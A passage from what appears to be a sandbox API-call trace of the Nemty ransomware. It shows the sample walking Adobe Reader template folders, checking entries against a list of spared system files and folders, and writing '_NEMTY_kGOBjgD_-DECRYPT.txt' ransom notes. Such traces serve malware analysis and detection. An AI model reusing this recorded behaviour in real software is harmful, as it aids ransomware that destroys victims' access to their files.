lpString2=".") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="..") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="...") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="windows") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="$RECYCLE.BIN") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="rsa") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="NTDETECT.COM") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="ntldr") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="MSDOS.SYS") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="IO.SYS") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="ntuser.dat") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="desktop.ini") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="CONFIG.SYS") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="RECYCLER") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="BOOTSECT.BAK") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="bootmgr") returned 1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="programdata") returned -1 [0171.546] lstrcmpiW (lpString1="EUQ", lpString2="appdata") returned 1 [0171.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0171.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.547] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.547] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.547] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.548] CloseHandle (hObject=0x254) returned 1 [0171.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.549] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.549] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.550] CloseHandle (hObject=0x254) returned 1 [0171.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.550] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19e3d430, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e3d430, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.550] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19e3d430, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e3d430, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.551] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.551] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.551] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e3d430, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19e3d430, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e3d430, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.551] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.552] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e3d430, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19e3d430, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19e3d430, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.552] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.552] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="FRA", cAlternateFileName="")) returned 1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2=".") returned 1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="..") returned 1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="...") returned 1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="windows") returned -1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="$RECYCLE.BIN") returned 1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="rsa") returned -1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="NTDETECT.COM") returned -1 [0171.552] lstrcmpiW (lpString1="FRA", lpString2="ntldr") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="MSDOS.SYS") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="IO.SYS") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="boot.ini") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="AUTOEXEC.BAT") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="ntuser.dat") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="desktop.ini") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="CONFIG.SYS") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="RECYCLER") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="BOOTSECT.BAK") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="bootmgr") returned 1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="programdata") returned -1 [0171.553] lstrcmpiW (lpString1="FRA", lpString2="appdata") returned 1 [0171.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0171.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRA", lpUsedDefaultChar=0x0) returned 3 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.558] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.558] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.559] CloseHandle (hObject=0x254) returned 1 [0171.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.559] HeapFree (in: 